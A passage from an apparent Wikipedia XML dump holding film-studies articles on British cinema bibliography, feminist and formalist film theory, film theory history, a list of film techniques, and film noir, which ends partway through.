*Geraghty, Christine. 2000. British Cinema in the Fifties: Gender Genre and the New Look. London Routledge
*Gillett, Philip. 2003. The British Working Class in Postwar Film. Manchester: Manchester University Press
*Murphy, Robert; Ed. 1996. Sixties British Cinema. London: BFI
*Shaw, Tony. 2001. British Cinema and the Cold War. London: I.B. Tauris

===1990s===
*Brown, Geoff. 2000. Something for Everyone: British film Culture in the 1990s.
*Brunsdon, Charlotte. 2000. Not Having It All: Women and Film in the 1990s.
*Murphy, Robert; Ed. 2000. British Cinema of the 90s. London: BFI 

===Cinema and Government===
*Dickinson, Margaret and Street, Sarah. 1985. Cinema and the State: The Film industry and the British Government, 1927-84. London: BFI
*Miller, Toby. 2000. 'The Film Industry and the Government: 'Endless Mr Beans and Mr Bonds'?' 
*Moran, Albert; Ed. 1996. Film Policy: International, National and Regional Perspectives. London: Routledge: ISBN 0-415-09791-6

===General===
*Aldgate, Anthony and Richards Jeffrey. 2002. Best of British: Cinema and Society from 1930 to the Present. London: I.B. Taurus
*Babington, Bruce; Ed. 2001.British Stars and Stardom. Manchester: Manchester University Press
*Chibnall, Steve and Murphy, Robert; Eds. 1999. British Crime Cinema. London: Routledge
*Cook, Pam. 1996. Fashioning the Nation: Costume and Identity in British Cinema. London BFI
*Curran, James and Porter, Vincent; Eds. 1983. British Cinema History. London: Weidenfeld and Nicholson
*[[Raymond Durgnat|Durgnat, Raymond]]. 1970. A Mirror for England: British Movies from Austerity to Affluence. London: Faber. ISBN: 0-571095-038
*Harper, Sue. 2000. Women in British Cinema: Mad Bad and Dangerous to Know. London: Continuum
*Higson, Andrew. 1995. Waving the Flag: Constructing a National Cinema in Britain. Oxford: Oxford University Press
*Higson, Andrew. 2003. English Heritage, English Cinema. Oxford: Oxford University Press.
*Hill, John. 1986. Sex, Class and Realism. London: BFI
*Landy, Marcia. 1991. British Genres: Cinema and Society, 1930-1960. Princeton University Press
*Lay, Samantha. 2002. British Social Realism. London: Wallflower 
*McFarlane, Brian. The Encyclopedia of British Film. London: Methuen. ISBN 0-413-77301-9
*Monk, Claire and Sargeant, Amy. 2002. British Historical Cinema. London Routledge 
*Murphy, Robert; Ed. 2001. British Cinema Book 2nd Edition. London: BFI
*Perry, George. 1988. The Great British Picture Show. Little Brown, 1988.
*Street, Sarah. 1997. British National Cinema. London: Routledge.
*Tasker, Yvonne; Ed. 2002. Fifty Contemporary Filmmakers: Routledge: London: ISBN 0-415-18974-8

==See also==
* [[:Category:British films|Category:British films]]
* [[Eady levy]]
* [[List of British film studios]]
* [[London in film]]
* [[Cinematograph Films Act 1927|Quota quickies]]

==External links==
* [http://www.bfi.org.uk The British Film Institute], including some [http://www.screenonline.org.uk/film/facts data on UK films]
* [http://UKfilm.org UK film . org] - News, forums and articles for the UK filmmaker.
* [http://www.screenonline.org.uk/ screenonline], a large collection of British film articles and clips.
* [http://www.ukfilmcouncil.org.uk/ The UK Film Council]
* [http://www.filmacademy.co.uk Film Academy]
* [http://www.hollywoodreporter.com/thr/international/feature_display.jsp?vnu_content_id=2092725 UK film funding]
* [http://www.imdb.com/Sections/Countries/UK/ Search British titles] at the [[Internet Movie Database]]
* [http://www.blackfilmmakermag.com/asp/index.asp Black Filmmaker Magazine]
* BBC News In Depth: [http://news.bbc.co.uk/1/hi/in_depth/entertainment/2003/british_film_industry/default.stm British Film Industry]
* [http://www.guardian.co.uk/friday_review/story/0,3605,272016,00.html Shame of a nation] - ''[[The Guardian]]'', [[May 26]], [[2000]].
**Polemical article bemoaning the state of British film.
* [http://tv.cream.org/specialassignments/films/prodcomp.htm TV Cream on Britain's independent film companies]

[[Category:History of the United Kingdom]]
[[Category:Cinema of the United Kingdom| ]]
[[Category:Film Industries]]

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    <title>Feminist film theory</title>
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      <text xml:space="preserve">'''Feminist film theory''' is [[film theory|theoretical]] work within [[film criticism]] which is derived from [[feminist]] politics and [[feminist theory]]. [[Feminism|Feminists]] have taken many different approaches to the analysis of [[film|cinema]]. These include discussions of the function of women characters in particular [[film narrative]]s or in particular [[genre]]s, such as [[film noir]], where a woman character can often be seen to embody a subversive [[sexuality]] that is dangerous to men and is ultimately punished with death. 

In considering the way that films are put together, many feminist film critics have pointed to the  &quot;[[male gaze]]&quot; that predominates in [[Classical Hollywood cinema|classical Hollywood]] filmmaking. [[Laura Mulvey]]'s essay &quot;Visual Pleasure and Narrative Cinema&quot; gave one of the most widely influential versions of this argument.  This argument holds that through the use of various [[film technique]]s, such as the [[point of view shot]], a typical film's viewer becomes aligned with the point of view of its male protagonist.  Notably, women function as objects of this gaze far more often than as proxies for the spectator.

==Further reading==
*Sue Thornham (ed.), ''Feminist Film Theory. A Reader'', Edinburgh University Press 1999
*''Multiple Voices in Feminist Film Criticism'', edited by Diane Carson, Janice R. Welsch, Linda Dittmar, University of Minnesota Press 1994

==See also==
*[[Dai Jinhua]]
*[[Claire Johnston]]
*[[Teresa de Lauretis]]
*[[Kaja Silverman]]
*[[Women's cinema]]
*[[Damsel in distress]]
*[[Femme fatale]]
*[[Feminist horror film theory]]
*[[Final girl]]
*[[Hooker with a heart of gold]]
*[[Ingenue (stock character)|Ingenue]]
*[[Scream queen]]

==External links==
* [http://www.uh.edu/~cfreelan/aesth/femfilm.html Entry on feminist film theory for the Encyclopedia of aesthetics]
* [http://thehathorlegacy.info/index.php the Hathor Legacy: what film and tv are really saying about women]

==References==
*{{cite journal | author=Laura Mulvey | title=Visual Pleasure and Narrative Cinema | journal=Screen | year=1975 | volume=16|issue=3 | pages=6-18|url=http://www.panix.com/~squigle/vcs/mulvey-vpnc.html}}
*{{cite book | author=Laura Mulvey | title=Visual and Other Pleasures | publisher=Bloomington: Indiana University Press | year=1989 | id=ISBN 0253204941}}

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    <title>Formalist film theory</title>
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'''Formalist film theory''' is a theory of [[film]] study that is focused on the formal, or technical, elements of a film: i.e., the lighting, scoring, sound and set design, use of colour, shot composition, and editing.  It is the most dominant theory of film study in the world today.

Formalism, at its most general, considers the synthesis (or lack of synthesis) of the multiple elements of film production, and the effects, emotional and intellectual, of that synthesis and of the individual elements.  For example, let's take the single element of editing. A formalist might study how standard Hollywood &quot;continuity editing&quot; creates a more comforting effect and non-continuity or jump-cut editing might become more disconcerting or volatile.

Or, one might consider the synthesis of several elements, such as editing, shot composition, and music. The shoot-out that ends Leone's monumental &quot;Dollars&quot; trilogy is a prime example of how these elements work together to produce an effect: the shot selection goes from very wide to very close and tense; the length of shots decreases as the sequence progresses towards its end; the music builds.

Formalism is unique in that it embraces both ideological and auteurist branches of criticism.

The common denominator for both of these branches is style: ideologues focus on how socio-economic pressures create a particular style, and auteurists on how an auteur puts his own stamp on the material.  Since formalism is primarily concerned with style and how it communicates the ideas, emotions, and themes (rather than, as critics of formalism point out, concentrating on the themes of a work itself).

Two examples of ideological interpretations that are related to formalism:

The [[classical Hollywood cinema]] has a very distinct style, sometimes called the [[Institutional Mode of Representation]]: continuity editing, massive coverage, three-point lighting, &quot;mood&quot; music, dissolves, all designed to make the experience as pleasant as possible.  The socio-economic ideological explanation for this is, quite crassly, that Hollywood wants to make as much money and appeal to as many ticket-buyers as possible.

[[Film noir]], which was given its name by the Cahiers du cinema crowd, is marked by lower production values, darker images, underlighting, location shooting, and general nihilism: this is because, we are told, during the war and post-war years filmmakers were generally more pessimistic (as well as filmgoers).  Also, the German Expressionists (including [[Fritz Lang]], who was not technically an expressionist as popularly believed) emigrated to America and brought their crazy lighting effects (and disillusionment due to the war) to American soil.

By this approach, it can be argued that the style or language of these films are directly effected not by the individuals responsible, but by social, economic, and political pressures that the filmmakers themselves might be aware of.  It is this branch of criticism that gives us such categories as the classical Hollywood cinema, the American independent movement, the New American independent movement, the new queer cinema, and the French, German, and Czech new waves.  Some of these categories are discussed in David Bordwell's &quot;Film Art: an introduction&quot;, universally accepted as THE text book for formalists, by the man considered at the forefront of its practice.

If the ideological approach is concerned with broad movements and the effects of the world around the filmmaker, then the auteur theory is dialectically opposed to it, celebrating the individual, usually in the person of the filmmaker, and how his personal decisions, thoughts, and style manifest themselves in the material.  To be brief, this branch of criticism, began by Francois Truffaut and the other young film critics writing for Cahiers du cinema, was created for two reasons.

First, it was created to redeem the art of film itself: by arguing that films had auteurs, or authors, Truffaut sought to make films (and their directors) at least as important as the more widely-accepted art forms, such as literature, music, and painting.  Each of these art forms, and the criticism thereof, are primarily concerned with a sole creative force: the author of a novel (not, for example, his editor or type-setter), the composer of a piece of music (though sometimes the performers are given credence, akin to actors in film today), or the painter of a fresco (not his assistants who mix the colours or often do some of the painting themselves).  By elevating the director, and not the screenwriter, to the same importance as novelists, composers, or painters, it sought to free the cinema from its popular conception as a bastard art, somewhere between theater and literature.

Secondly, it sought to redeem those filmmakers who were looked down upon by the important and snooty critics.  It argued that genre filmmakers and low-budget B-movies were just as important, if not more, than the prestige pictures commonly given more press, and legitimacy in France and America.  An auteur took material that was beneath their talents-- a thriller, a pulpy action film, a romance-- and, through their style, put their own personal stamp on it.  It is this style that concerns formalism, and brings us back to the topic at hand.

A perfect example would be the work of Alfred Hitchcock.  Hitchcock made primarily thrillers, which were popular with the public but snorted at by the critics and the award ceremonies (with a few notable exceptions, such as Rebecca, which won Best Picture at the Academy Awards).  Truffaut and his colleagues argued that Hitchcock had a style as distinct as that of Flaubert or Van Gogh: the virtuoso editing, the lyrical camera movements, the droll humour.  He also had &quot;Hitchcockian&quot; themes: the wrong man falsely accused, violence erupting at the times it was least expected, the cool blonde.  Now, Hitchcock is more-or-less universally lauded, his films dissected shot-by-shot, his work celebrated as being that of a master.  And the study of this style, his variations, and obsessions all falls quite neatly under the umbrella of formalist film theory.

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      <text xml:space="preserve">'''Film theory''' seeks to develop concise, systematic concepts that apply to the study of [[film|cinema]] as [[art]]. Classical film theory provides a structural framework to address classical issues of techniques, [[narrativity]], [[diegesis]], cinematic codes, &quot;the image&quot;, [[genre]], subjectivity, and [[Auteur theory|authorship]]. More recent analysis has given rise to [[psychoanalytical film theory]], [[structuralist film theory]], [[feminist film theory]], and theories of documentary, new media, [[Third Cinema|third cinema]], and new [[queer]] cinema, to name just a few. See also [[film criticism]].

==History==
The italian [[futurism|futurist]] [[Ricciotto Canudo]] (1879-1923) is considered to be the very first theoretician of cinema. He published his manifesto ''The Birth of the Seventh Art'' in [[1911]]. Another early attempt was ''The Photoplay'' (1916) by the psychologist [[Hugo Münsterberg]].

It must be noted however, that the French philosopher [[Henri Bergson]] with ''Matière et Mémoire'' (1896) made comments on the need for new ways of thinking on movement, and coined the terms &quot;image-temps&quot; and &quot;image-mouvement&quot;. 

This same Bergson, wrote ''L'évolution créatrice'' in 1906, stating in an essay called ''l'illusion cinématographique'', that film is not quite what he had in mind when he wrote on images-as-movement and images-as-time.

[[Gilles Deleuze]], another French philosopher, took ''Matière et Mémoire'' as the basis of this theory on film anyway (ignoring ''l'illusion cinématographique''), and used it to explain his views in his ''Cinéma I &amp; II'' (1983-1985). 

Classical film theory took shape during the era of silent film. It emerged from the works of directors like [[Germaine Dulac]], [[Louis Delluc]], [[Jean Epstein]], [[Sergei Eisenstein]], [[Lev Kuleshov]], [[Dziga Vertov]],[[ Paul Rotha]] and film critics like [[Rudolf Arnheim]], [[Béla Balázs]] and [[Siegfried Kracauer]]. It was not an academic discipline.

In the early 1950s the French film critic [[André Bazin]] helped to found the highly influential ''[[Cahiers du cinéma]]''. Many of its young writers such as [[François Truffaut]] and [[Jean-Luc Godard]] would go on to direct the films of the [[French New Wave]]. These writers were some of the first to take popular Hollywood cinema seriously as an artform. Their fascination with [[Western (genre)|Westerns]] and [[gangster film|gangster films]] effectively spawned [[Genre studies|genre theory]].   

In the 1960s film theory took up residence in academe, importing concepts from established disciplines like [[psychoanalysis]], [[literary theory]] and [[linguistics]].

In the seventies the British journal [[Screen journal|Screen]] was very influential.

During the 1990s the digital revolution in image technologies has impacted on film theory in various ways. There has been a refocus onto celluloid film's ability to capture an indexical image of a moment in time by theorists like Mary Ann Doane, Philip Rosen and [[Laura Mulvey]]. There has also been a historical revisiting of early cinema screenings, practices and spectatorship modes by writers Tom Gunning, Miriam Hansen and Yuri Tsivian.

==Specific theories and styles of film==
*[[Apparatus Theory]]
*[[Art film]]
*[[Auteur theory]]
*[[Feminist film theory]]
*[[Formalist film theory]]
*[[Cyberpunk]]
*[[Film noir]]
*[[German Expressionism]]
*[[Horror film]]
*[[Italian neorealism]]
*[[Marxist film theory]]
*[[French New Wave|New Wave]]
*[[No Wave Cinema]]
*[[Psychoanalytical film theory]]
*[[Remodernist Film]]
*[[Romanticism]]
*[[Socialist realism]]
*[[Structuralist film theory]]

==Further readings==
*Dudley Andrew, ''Concepts in Film Theory'', Oxford, New York: oxford University Press, 1984
*Andre Bazin, ''What is Cinema?'' essays selected and translated by Hugh Gray, Berkeley, Los Angeles, London: University of California Press, 1971
*Francesco Casetti, ''Theories of Cinema, 1945-1990'', Paperback Edition, University of Texas Press 1999
*[[Bill Nichols]], ''Representing Reality. Issues and Concepts in Documentary'', Bloomington :  Indiana University Press, 1991
*The Oxford Guide to Film Studies, Oxford University Press 1998

==See also==

*[[Fictional film]]
*[[Film journals and magazines]]
*[[List of film-related topics|List of motion picture-related topics]]

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      <id>39402998</id>
      <timestamp>2006-02-12T22:54:23Z</timestamp>
      <contributor>
        <username>Pigeongirl</username>
        <id>924966</id>
      </contributor>
      <text xml:space="preserve">{{mergeto|Cinematic techniques}}

Provided in this '''list of film techniques''' is a categorised (and then alphabetised) list of techniques used in [[film]] ([[motion picture]]s).

==Camera view, angle, movement, shot==
*[[Aerial shot]]
*[[American shot]]
*[[Bird's eye shot]]
*[[Close up]]
*[[Crane shot]]
*[[Dolly shot]]
*[[Dutch angle]]
*[[Establishing shot]]
*[[&quot;Evangelion&quot; shot]]
*[[Follow shot]]
*[[Forced perspective]]
*[[Video frame]]
*[[Freeze frame shot]]
*[[Full shot]]
*[[Head-on shot]]
*[[High-angle shot]]
*[[Long shot]]
*[[Low-angle shot]]
*[[Master shot]]
*[[Medium shot]]
*[[Pannning|Pan shot]]
*[[Point of view shot]]
*[[Reaction shot]]
*[[Sequence shot]]
*[[Shot (film)|Shot]]
*[[Shot reverse shot]]
*[[Talking head]]
*[[Tracking shot]]
*[[Two Shot]]
*[[Vertigo shot]]
*[[Whip pan]]

==Lighting technique and aesthetics==
*[[Background lighting]]
*[[Cameo lighting]]
*[[Fill light]]
*[[High-key lighting]]
*[[Key lighting]]
*[[Mood lighting]]
*[[Pool hall lighting]]
*[[Rembrandt lighting]]
*[[Stage lighting]]
*[[Soft light]]

==Editing and transitional devices==
*[[A Roll]]
*[[B Roll]]
*[[A and B editing]]
*[[Cross cutting]]
*[[Cutaway_(film)|Cutaway]]
*[[Cut in]]
*[[Cut out]]
*[[Dissolve (film)|Dissolve]]
*[[Film editing|Editing]]
*[[Establishing shot]]
*[[Fast cutting]]
*[[Hairy Arm]]
*[[Insert]]
*[[Keying]]
*[[L cut]] (&quot;split edit&quot;)
*[[Master shot]]
*[[Film editing|Montage]]
*[[Point of view shot]]
*[[Screen direction]]
*[[Sequence shot]]
*[[Slow cutting]]
*[[Split screen (film)|Split screen]]
*[[SMPTE time code]]
*[[Shot reverse shot]]
*[[Talking head]]
*[[Wipe]]
**[[Clock wipe]]
**[[Heart wipe]]
**[[Matrix wipe]]
**[[Star wipe]]

==Special effects (FX)==
*[[3-D film]] for movie history
*[[3-D computer graphics]]
*[[Bluescreen]]/[[Chroma key]]
*[[Computer-generated imagery]]
*[[Digital compositing]]
*[[Optical effects]]
*[[Special effect|Special effects]]
*[[Stereoscopy]] for 3D technical details 
*[[Stop trick]]
*[[Stop motion]]

==Other==
*[[Film stock]]
*[[Movie projector]]
*[[Widescreen]]

==See also==
*[[Motion picture terminology]]
*[[Costume Design]]
*[[Film crew]]
*[[List of movie-related topics]]
*[[List of video topics]]

[[de:Filmbegriffe]]

[[Category:Film techniques|*]]
[[category:Artistic techniques|Film technique]]</text>
    </revision>
  </page>
  <page>
    <title>Film directors</title>
    <id>10801</id>
    <revision>
      <id>20994014</id>
      <timestamp>2005-08-14T13:57:09Z</timestamp>
      <contributor>
        <username>The JPS</username>
        <id>158361</id>
      </contributor>
      <minor />
      <comment>double redirect!</comment>
      <text xml:space="preserve">#REDIRECT [[Film director]]</text>
    </revision>
  </page>
  <page>
    <title>Film noir</title>
    <id>10802</id>
    <revision>
      <id>42042150</id>
      <timestamp>2006-03-03T11:48:01Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:bigcombo.jpg|thumb|right|300px|This still from ''[[The Big Combo]]'' (1955) demonstrates the visual style of film noir at its most extreme. [[John Alton]], the film's [[cinematography|cinematographer]], created many of the iconic images of film noir.]]

'''Film noir''' is a [[film]] style and mood primarily associated with [[crime film]]s, that portrays its principal characters in a [[nihilism|nihilistic]] and [[existentialism|existentialist]]  world. Film noir is primarily derived from the hard-boiled style of crime fiction of the [[Depression era]] (many films noir were adaptations of such novels) and the gritty style of 1930s horror fiction. Film noir is first clearly seen in films released in the early [[1940]]s. &quot;Noirs&quot; were historically made in [[black and white]], and had a dark, high-contrast [[style]] with roots in [[German Expressionism|German Expressionist]] cinematography.  

The term ''film noir'' (French for &quot;black film&quot;) was unknown to the filmmakers and actors while they were creating the classic films noir. Film noir was defined in retrospect by film historians and critics; many of the creators of film noir later professed to be unaware at the time of having created a distinctive type of film.

The use of the plural ''film noirs'' in English, is untrue to the French origin of the term.  The plural form of ''film noir'' in French is ''films noirs''(although both &quot;s&quot; remain silent), which is sometimes used in English as is ''films noir''. 

==Precursors==
Film noir is a result of a combination of genres and styles, with origins in painting and literature, as well as film.

The aesthetics of film noir are heavily influenced by [[German Expressionism]]. When [[Germany]] fell to [[Nazi]]sm, many important film artists were forced to emigrate (including [[Fritz Lang]], [[Billy Wilder]], and [[Robert Siodmak]]). They took with them techniques they developed (most importantly the dramatic lighting and the subjective, psychological point of view) and made some of the most famous films noirs in the USA. Concurrent with the development of German Expressionism were expressionistic gangster films in America in the [[1930s]], such as ''[[Little Caesar]]'' (1930), ''[[The Public Enemy]]'' (1931), ''[[Scarface (1932 movie)|Scarface]]'' (1932) and ''[[I Am a Fugitive from a Chain Gang]]'' (1932).

Other important influences came from French [[poetic realism]], with its themes of [[fatalism]], [[injustice]], and doomed heroes, and from [[Italian neorealism]], with its emphasis on [[wiktionary:authenticity|authenticity]]. Several later films noirs, such as ''[[Night and the City]]'' (1950) and ''[[Panic in the Streets]]'' (1950), adopted a neorealist approach of using on-location photography with non-professional extras. Additionally, some films noirs strove to depict comparatively ordinary or downtrodden people with unspectacular lives in a manner similar to neorealist films, such as ''[[The Lost Weekend]]'' and ''[[In a Lonely Place]]''.

In the United States, a major literary influence on film noir came from the [[hard-boiled]] school of [[detective fiction|detective]] and [[crime fiction]], featuring writers such as [[Dashiell Hammett]], [[Raymond Chandler]] and [[James M. Cain]], and popularized in [[pulp magazine]]s such as ''[[Black Mask]]''. Chandler's ''[[The Big Sleep]]'' and ''[[Murder My Sweet]]'' (based on ''[[Farewell, My Lovely]]'') and Hammett's ''[[The Maltese Falcon]]'' are notable films noir. Although not itself considered a film noir, [[Orson Welles]]'s landmark film ''[[Citizen Kane ]]'' (1941) had a heavy influence on the development of the genre's style, particularly with its stunning visuals and complex narrative structure driven by voiceover narration.

==The classic period==
[[Image:Outofthepastcar.jpg|right|250px|thumb|One of the quintessential films noirs, ''[[Out of the Past]]'' features all of the noir hallmarks: A cynical private detective as the &quot;hero&quot;, a sexy [[femme fatale]], multiple [[Flashback (literary technique)|flashback]]s with [[voiceover]] narration, dramatic [[chiaroscuro]] black and white photography, and a pervasive [[fatalism|fatalistic]] mood. The film stars [[Robert Mitchum]], who, along with [[Humphrey Bogart]], was the foremost male [[icon]] of film noir.]]

The 1940s and 1950s were the &quot;classic period&quot; of film noir. Some film historians regard ''[[Stranger on the Third Floor]]'' (1940) as the first &quot;true&quot; film noir. Orson Welles's ''[[Touch of Evil]]'' (1958) is often cited as the last film in the classic period.

Some scholars believe film noir never really ended, but declined in popularity, only to be later revived in a slightly different form. Other critics -— probably a majority -— regard films made outside the classic period to be something other than genuine film noir. These critics regard true film noir as belonging to a cycle or period, and that subsequent films that try to evoke the classic films are different because the creators are conscious of a noir &quot;style&quot; in a way that the original makers of film noir perhaps were not.

Many of the classic films noirs were low-budget supporting features without major stars, in which &quot;moonlighting&quot; [[screenwriter|writer]]s, [[director (film)|directors]] and technicians, some of them [[blacklist|blacklisted]], found themselves relatively free from big-picture constraints.  Many of the most popular examples of film noir center upon a woman of questionable virtue, and are also known as [[bad girl movies]]. Major studio feature films demanded a wholesome, positive message. Weak and morally ambiguous lead characters were ruled out by the &quot;star system,&quot; and secondary characters were seldom allowed any depth or autonomy. In &quot;A&quot; films, flattering soft lighting, deluxe interiors, and elaborately built exterior sets were the rule. Film noir turned all this on its head, creating bleak, intelligent dramas tinged with [[nihilism]], mistrust, paranoia, and [[cynicism]], in real-life [[Urbanization|urban]] settings, and using unsettling techniques such as the confessional voiceover or hero's-eye-view camerawork. The noir style gradually re-influenced the mainstream.

===Notable films noir of the classic period===
*''[[The Maltese Falcon]]'' (1941)
*''[[Murder, My Sweet]]'' (1944)
*''[[Laura (1944 film)|Laura]]'' (1944)
*''[[Double Indemnity]]'' (1944)
*''[[The Big Sleep (1946 film)|The Big Sleep]]'' (1946)
*''[[Gilda]]'' (1946)
*''[[The Killers (1946 film)|The Killers]]'' (1946)
*''[[The Lady from Shanghai]]'' (1947)
*''[[Out of the Past]]'' (1947)
*''[[Key Largo (film)|Key Largo]] (1948)
*''[[The Third Man]]'' (1949)
*''[[White Heat]]'' (1949)
*''[[The Asphalt Jungle]]'' (1950)
*''[[Sunset Blvd. (1950 film)|Sunset Boulevard]]'' (1950)
*''[[Pickup on South Street]]'' (1953)
*''[[The Big Heat]]'' (1953)
*''[[Kiss Me Deadly]]'' (1955)
*''[[The Night of the Hunter]]'' (1955)
*''[[The Killing]]'' (1956)
*''[[Touch of Evil]]'' (1958)

Directors associated with classic film noir include [[John Huston]], [[Howard Hawks]], [[Fritz Lang]], [[Billy Wilder]], and [[Orson Welles]]. [[Alfred Hitchcock]] made some crime films that display elements of film noir (''[[Notorious]]'', ''[[Strangers on a Train]]''), but are not always considered part of the film noir canon.

For an expanded list of films considered &quot;noir,&quot; see [[List of film noir]] or [[:Category:Film noir]].

==Film noir outside the United States==
[[Image:Thirdman1-9950.jpg|right|250px|thumb|Orson Welles (right) as Harry Lime in ''[[The Third Man]]'', giving his infamous &quot;cuckoo clock&quot; speech to Joseph Cotten -- a classic scene of pure film noir.]]
There have been a number of films made outside the United States that can reasonably be called films noirs, for example, ''[[Pepé le Moko]]''. [[Jules Dassin]] moved to France in the early 1950s as a result of the Hollywood blacklist, and made one of the most famous French films noir, ''[[Du rififi chez les hommes]]'' ([[1955]]). Other well-known French films sometimes considered to be noir include ''[[Touchez pas au grisbi]]'' ([[1954]]), ''[[Diabolique]]'' ([[1955]]), and ''[[Quai des Orfèvres]]'' ([[1947]]).  French director [[Jean-Pierre Melville]] is widely recognized for his tragic, minimalist films noirs, such as ''[[Le Samouraï]]'' or ''[[Le Cercle Rouge]]''.  Additionally, British director [[Carol Reed]] made ''[[The Third Man]]'' (1949), which is often considered film noir. Set in Vienna immediately after World War II, it starred [[Joseph Cotten]] and [[Orson Welles]], both prominent American film noir actors.

&quot;[[Neo-noir]]&quot; is a term often applied to films made after the classic period. Neo-noir films have been produced internationally in most countries with a prominent film industry. Examples include ''[[High and Low]]'' (Japan), ''[[La Haine]]'' (France), ''[[Insomnia (film)|Insomnia]]'' (Norway), ''[[Alphaville, une étrange aventure de Lemmy Caution|Alphaville]]'' (France), ''[[The American Friend]]'' (Germany), and ''[[Blind Shaft]]'' (China).

== Neo-noir and the influence of film noir ==
:''See main article [[Neo-noir]].''

In the [[1960]]s, American filmmakers such as [[Sam Peckinpah]], [[Arthur Penn]], and [[Robert Altman]] created films that drew from (and commented upon) the original films noirs. In ''[[The Long Goodbye (film)|The Long Goodbye]]'', Altman's hard-boiled detective is presented as a hapless bungler who can't help but lose the moral battle. But perhaps the most successful neo-noir was Roman Polanski's 1974 film, ''Chinatown''.

Film noir has been parodied many times, both broadly and affectionately. [[Bob Hope]] first parodied film noir in ''[[My Favorite Brunette]]'' (1947), playing a baby photographer who is mistaken for tough private detective. Perhaps the most famous film noir parody is [[Billy Wilder]]'s ''[[Some Like It Hot]]'' (1959). Other notable parodies include [[Carl Reiner]]'s black and white &quot;cut and paste&quot; homage ''[[Dead Men Don't Wear Plaid]]'', and [[Woody Allen]]'s ''[[Play It Again, Sam]]''.  Film noir parodies have been extended to [[comic strips]] as well, with [[Garfield's Babes and Bullets|Sam Spayed]] from ''[[Garfield]]'' and [[Tracer Bullet]] from ''[[Calvin and Hobbes]]''.

Many of [[Joel and Ethan Coen]]'s films are examples of modern films influenced by noir, especially ''[[The Man Who Wasn't There]]'' and ''[[Blood Simple]]'', the comedy ''[[The Big Lebowski]]'' i(itself a tribute to author [[Raymond Chandler]], whose crime novels inspired the genre and a direct homage to ''The Long Goodbye''), and ''[[Miller's Crossing]]'', loosely based on  by [[Dashiell Hammett]]'s novels ''[[The Glass Key]]'' and ''[[Red Harvest]]'' (which later inspired [[Akira Kurosawa]]'s [[chambara]] film, [[Yojimbo]], which in turn was remade as [[A Fistful of Dollars]] and [[Last Man Standing]]). [[Curtis Hanson]]'s widely praised ''[[L.A. Confidential]]'' may be the closest thing to a modern-day film noir, with its tale of corrupt cops and femme fatales seemingly lifted right from the 1950s.

The cynical, pessimistic worldview of films noirs strongly influenced the creators of the [[cyberpunk]] genre of [[science fiction]] in the early [[1980s]]. ''[[Blade Runner]]'' is among the most popular films from this era. Characters in these films are derived from [[1930s]] gangster films and, more importantly, from [[pulp magazine|pulp]] magazines such as ''[[The Shadow]]'', ''[[Dime Mystery Detective]]'', and ''[[The Black Mask]]''. Other examples for &quot;sci-fi noir&quot; films are ''[[Gattaca]]'', ''[[The Thirteenth Floor]]'', ''[[Ghost in the Shell (film)|Ghost in the Shell]]'', ''[[Dark City]]'' and ''[[The Matrix]]''.

Some consider the films of [[David Lynch]] to have a notable noir influence, particularly his best-known work, ''[[Blue Velvet]]''.

The film noir style has even influenced [[Animation]], the most prominent example being [[Batman: The Animated Series]]. Several episodes reflect the noirish themes and pessimistic worldview of the classic films. 

Recent works of [[popular fiction]] in a noir vein include the TV show ''[[Veronica Mars]]'', the films ''[[Sin City (film)|Sin City]]'' ([[2005 in film|2005]]), ''[[Reservoir Dogs]]'' ([[1992 in film|1992]]), ''[[Fargo]]'' ([[1996 in film|1996]]), and ''[[A Simple Plan]]'' ([[1998 in film|1998]]), the video game series ''[[Max Payne]]'', and [[Christopher Nolan]]'s remake of ''[[Insomnia (film)|Insomnia]]''.  The case could be argued that Nolan's [[Memento (film)|Memento]] is also an example of neo-noir.

==Characteristics==
===Visual style===
Films noirs tended to use dramatic shadows, stark [[contrast]], [[low-key lighting]], and [[black-and-white]] film, typically resulting in a 10:1 ratio of dark to light, rather than the more typical 3:1 ratio.  A number of films noirs were shot on location in cities, and [[night-for-night]] shooting was common. Shadows of venetian blinds, dramatically cast upon an actor's face as he or she looks out a window, are an iconic visuals in film noir.

Film noir is also known for its use of [[dutch angle]]s, [[low angle shot]]s, and [[wide angle lens]]es.  Other devices of [[orientation|disorientation]] common in film noir include shots of people in mirrors or multiple mirrors, shots through a glass (such as during the strangulation scene in ''[[Strangers on a Train]]''), and [[multiple exposures]].

===Setting===
Film noir tends to revolve around flawed and desperate characters in an unforgiving world. Crime, usually [[murder]], is an element of most films noirs, often sparked by [[jealousy]], [[Political corruption|corruption]], or [[Greed (emotion)|greed]]. Most films noirs contain certain archetypal characters (such as hard-boiled detectives, [[femme fatale|femmes fatales]], corrupt policemen, jealous husbands, insurance agents, or down-and-out writers), familiar locations (downtown Los Angeles, New York, or San Francisco), and archetypal storylines ([[heist film]]s, [[detective story|detective stories]], [[court film]]s, and films about rigged boxing games).

===Morality===
The [[morals]] of film noir tend to be ambiguous and relative, rather than simple &quot;black and white&quot; decisions.  Characters may adhere to an absolute moral goal, but are more than willing to let the &quot;ends justify the means.&quot; For example, in ''[[The Stranger (1946 film)|The Stranger]]'', the investigator is so obsessed with tracking down a [[Nazi]] [[war crimes|war criminal]] that he places other people in mortal danger to accomplish his goal.

===Outlook===
Film noir is, at its core, pessimistic.  The stories it tells are of people trapped in situations they do not want (and generally not of their own making), striving against random uncaring fate, and usually doomed.  Almost all film noir plots involve the hard-boiled, disillusioned male and the dangerous [[femme fatale]]. Much of the success of film noir is due to the political landscape of the 1930s, 40s and 50s (most notably, the global insecurity and alienation resulting from World War II and the Red Scare).

====Elements of noir====
Film noir is harder to define specifically than &quot;classic&quot; genres like the Western or the Musical, mostly because the filmmakers most responsible for the genre's creation were unaware they were part of a stylistic trend.  Some movies, therefore, are considered noir by some but not by others.  Examples include ''Vertigo'' (1958) or ''Niagara'' (1953), shot in (desaturated) color but sometimes considered noir.  Films considered to be noir usually contain some, if not all, of the following:

=====Character elements===== 
:Femme fatale or an homme fatale (male version of a femme fatale)
:Morally ambiguous protagonist(s)
:Alienated protagonist(s)  
:[[Fall guy]] (male or female)   
:Violence relative to character development/interaction
:Protagonist's presence in virtually every scene

=====Settings=====
:Black and white, or desaturated color cinematography  
:Low angle shooting, and expressionistic techniques
:Sense of fatalism (either spoken or visual)  
:Use of [[mise en scène]] to portray alienation
:Odd camera angles or visual effects and sequences
:Urban setting
:Exotic, remote, and/or barren location setting
:Night club and/or gambling setting

